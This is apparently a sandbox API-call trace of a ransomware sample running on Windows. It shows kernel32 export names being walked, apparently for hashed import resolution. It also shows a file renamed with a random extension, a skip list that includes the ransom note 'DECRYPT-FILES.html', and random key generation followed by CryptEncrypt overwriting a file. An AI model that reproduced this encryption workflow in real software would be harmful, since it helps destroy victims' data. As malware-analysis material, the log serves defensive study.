lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0138.511] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0138.511] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0138.511] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0138.511] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0138.511] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0138.511] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0138.511] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0138.511] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0138.511] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0138.511] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0138.511] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0138.511] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0138.511] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0138.511] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0138.511] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0138.511] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0138.511] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0138.511] lstrlenA (lpString="COPYCONTEXT") returned 11 [0138.512] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0138.512] lstrlenA (lpString="COPYFILE2") returned 9 [0138.512] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0138.512] lstrlenA (lpString="COPYFILEA") returned 9 [0138.512] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0138.512] lstrlenA (lpString="COPYFILEEXA") returned 11 [0138.512] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0138.512] lstrlenA (lpString="COPYFILEEXW") returned 11 [0138.512] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0138.512] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0138.512] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0138.512] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0138.512] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0138.512] lstrlenA (lpString="COPYFILEW") returned 9 [0138.512] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0138.512] lstrlenA (lpString="COPYLZFILE") returned 10 [0138.512] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0138.512] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0138.512] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0138.512] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0138.512] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0138.512] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0138.512] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0138.512] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0138.512] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0138.512] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0138.512] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0138.512] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0138.512] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0138.512] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0138.512] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0138.512] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0138.512] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0138.512] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0138.512] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0138.512] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0138.512] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0138.512] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0138.513] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0138.513] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0138.513] lstrlenA (lpString="CREATEEVENTA") returned 12 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0138.513] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0138.513] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0138.513] lstrlenA (lpString="CREATEEVENTW") returned 12 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0138.513] lstrlenA (lpString="CREATEFIBER") returned 11 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0138.513] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0138.513] lstrlenA (lpString="CREATEFILE2") returned 11 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0138.513] lstrlenA (lpString="CREATEFILEA") returned 11 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0138.513] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0138.513] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0138.513] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0138.513] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0138.513] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0138.513] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0138.513] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0138.513] lstrlenA (lpString="CREATEFILEW") returned 11 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0138.513] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0138.513] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0138.513] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0138.513] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0138.514] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0138.514] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0138.514] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0138.514] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0138.514] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0138.514] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0138.514] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0138.514] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0138.514] lstrlenA (lpString="CREATEJOBSET") returned 12 [0138.514] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0138.514] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0138.514] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0138.514] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0138.514] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0138.514] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0138.514] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0138.514] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0138.514] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0138.514] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0138.514] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0138.514] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0138.514] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0138.514] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0138.514] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0138.514] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0138.514] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0138.514] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0138.514] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0138.514] lstrlenA (lpString="CREATEPIPE") returned 10 [0138.514] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0138.514] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0138.514] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0138.514] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0138.514] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0138.514] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0138.514] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0138.514] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0138.514] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0138.514] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0138.514] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0138.514] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0138.514] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0138.515] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0138.515] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0138.515] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0138.515] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0138.515] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0138.515] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0138.515] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0138.515] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0138.515] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0138.515] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0138.515] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0138.515] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0138.515] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0138.515] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0138.515] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0138.515] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0138.515] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0138.515] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0138.515] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0138.515] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0138.515] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0138.515] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0138.515] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0138.515] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0138.515] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0138.515] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0138.515] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0138.515] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0138.515] lstrlenA (lpString="CREATETHREAD") returned 12 [0138.515] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0138.515] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0138.515] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0138.515] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0138.515] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0138.515] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0138.515] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0138.515] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0138.515] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0138.515] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0138.515] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0138.515] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0138.515] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0138.516] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0138.516] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0138.516] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.bvvB") returned 49 [0138.516] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.bvvB" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.bvvb"), dwFlags=0x0) returned 1 [0138.517] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.517] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.517] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.518] FindNextFileW (in: hFindFile=0x3b80e80, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0138.518] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0138.518] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0138.518] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0138.518] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0138.518] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0138.518] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0138.518] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0138.518] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0138.518] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0138.518] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0138.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\") returned 27 [0138.518] lstrlenW (lpString="SetupResources.dll") returned 18 [0138.518] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1055\\" | out: lpString1="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\" [0138.518] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1055\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" [0138.518] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0138.518] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0138.518] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=17752) returned 1 [0138.518] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0138.519] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0138.672] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0138.672] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0138.672] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0138.672] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0138.673] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0138.674] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.674] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0138.674] CloseHandle (hObject=0x5f8) returned 1 [0138.674] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.674] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0138.675] CloseHandle (hObject=0x0) returned 0 [0138.675] CloseHandle (hObject=0x5f4) returned 1 [0138.676] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.676] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.676] GetTickCount () returned 0x37fdf [0138.676] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0138.677] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0138.677] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0138.677] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0138.677] lstrlenA (lpString="kernel32.dll") returned 12 [0138.677] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0138.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0138.677] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0138.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0138.677] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0138.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0138.677] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0138.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0138.677] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0138.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0138.677] lstrlenA (lpString="ADDATOMA") returned 8 [0138.677] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0138.678] lstrlenA (lpString="ADDATOMW") returned 8 [0138.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0138.678] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0138.678] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0138.678] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 